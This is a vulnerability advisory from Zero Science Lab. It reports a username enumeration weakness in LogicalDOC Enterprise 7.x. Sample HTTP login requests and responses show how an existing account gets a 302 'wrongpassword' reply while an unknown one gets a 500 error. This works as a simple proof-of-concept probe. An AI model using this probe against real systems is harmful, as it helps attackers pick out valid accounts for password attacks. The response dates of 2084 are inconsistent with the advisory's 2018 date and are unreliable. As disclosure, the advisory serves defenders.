LogicalDOC Enterprise 7.7.4 Username Enumeration Weakness


Vendor: LogicalDOC Srl
Product web page: https://www.logicaldoc.com
Affected version: 7.7.4
                  7.7.3
                  7.7.2
                  7.7.1
                  7.6.4
                  7.6.2
                  7.5.1
                  7.4.2
                  7.1.1

Summary: LogicalDOC is a free document management system that is designed
to handle and share documents within an organization. LogicalDOC is a content
repository, with Lucene indexing, Activiti workflow, and a set of automatic
import procedures.

Desc: The weakness is caused due to the 'j_spring_security_check' script
and how it verifies provided credentials. Attacker can use this weakness
to enumerate valid users on the affected node.

Tested on: Microsoft Windows 10
           Linux Ubuntu 16.04
           Java 1.8.0_161
           Apache-Coyote/1.1
           Apache Tomcat/8.5.24
           Apache Tomcat/8.5.13
           Undisclosed 8.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5451
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5451.php


26.01.2018

--


Request/response for existent username:
---------------------------------------

POST /j_spring_security_check HTTP/1.1
Host: 192.168.1.74:8080

j_username=admin&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp

--

HTTP/1.1 302 
Set-Cookie: ldoc-failure=wrongpassword
Location: //login.jsp?failure=wrongpassword
Content-Length: 0
Date: Tue, 06 Feb 2084 19:42:15 GMT
Connection: close


Request/response for non-existent username:
-------------------------------------------

POST /j_spring_security_check HTTP/1.1
Host: 192.168.1.74:8080

j_username=n00b&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp

--

HTTP/1.1 500 
Set-Cookie: JSESSIONID=F06F1D03E249D90802AFE92428DBBEDD; Path=/; Secure; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 78
Date: Tue, 06 Feb 2084 19:57:14 GMT
Connection: close

<html>
<body>
  <div><br/><br/><strong>ERROR</strong></div>
</body>
<html>